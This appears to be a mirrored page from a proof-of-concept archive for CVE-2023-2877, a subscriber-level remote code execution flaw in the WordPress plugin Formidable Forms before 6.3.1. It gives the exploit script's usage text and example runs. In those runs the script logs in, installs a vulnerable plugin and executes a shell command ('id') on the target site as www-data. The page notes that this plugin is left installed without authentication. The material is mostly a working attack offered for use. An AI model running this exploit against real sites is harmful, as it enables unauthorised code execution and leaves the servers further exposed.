CVE-2023-2877 PoC — WordPress plugin Formidable Forms 安全漏洞

Source

https://github.com/RandomRobbieBF/CVE-2023-2877

Associated Vulnerability

Title:WordPress plugin Formidable Forms 安全漏洞 (CVE-2023-2877)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Formidable Forms 6.3.1之前存在安全漏洞，该漏洞源于未充分验证插件URL，攻击者利用该漏洞可以导致远程执行代码。

Description

Formidable Forms < 6.3.1 - Subscriber+ Remote Code Execution

Readme

# CVE-2023-2877
Formidable Forms &lt; 6.3.1 - Subscriber+ Remote Code Execution


Usage
---

```
usage: CVE-2023-2877.py [-h] -w URL -u USERNAME -p PASSWORD [-pl PLUGIN] [-c CMD]

CVE-2023-2877 - Formidable Forms < 6.3.1 - Subscriber+ Remote Code Execution Script

options:
  -h, --help            show this help message and exit
  -w URL, --url URL     WordPress site URL
  -u USERNAME, --username USERNAME
                        WordPress username
  -p PASSWORD, --password PASSWORD
                        WordPress password
  -pl PLUGIN, --plugin PLUGIN
                        Different Plugin to Install i.e mstore-api.3.9.0.zip
  -c CMD, --cmd CMD     Command value
```

Example
---

```
$ python3 CVE-2023-2877.py -w http://wordpress.lan -u user -p useruser1
Successfully logged in.
Token extracted: 15157e0f4740e9d1bbccdc5edbef1292943daf7d064637de094b2af2e9364ee9262f985d41d1658d90f1387800d09e8269a93f6397333e61c13240ababb4648d
Plugin installed successfully.
Now run exploit script with --cmd / -c and command.
```

```
$ python3 CVE-2023-2877.py -w http://wordpress.lan -u user -p useruser1 -c id
Data:
[['uid=33(www-data) gid=33(www-data) groups=33(www-data)']]
```

Warning
---
YOU NEED TO UNINSTALL THE VULNERABLE PLUGIN User Post Gallery as it's got not authentication!

File Snapshot


 [4.0K]  /data/pocs/2da601fef7226c28e8a1d4df97a25360db9e1614
├── [4.3K]  CVE-2023-2877.py
├── [ 11K]  LICENSE
├── [1.3K]  README.md
└── [   9]  requirements.txt

0 directories, 4 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!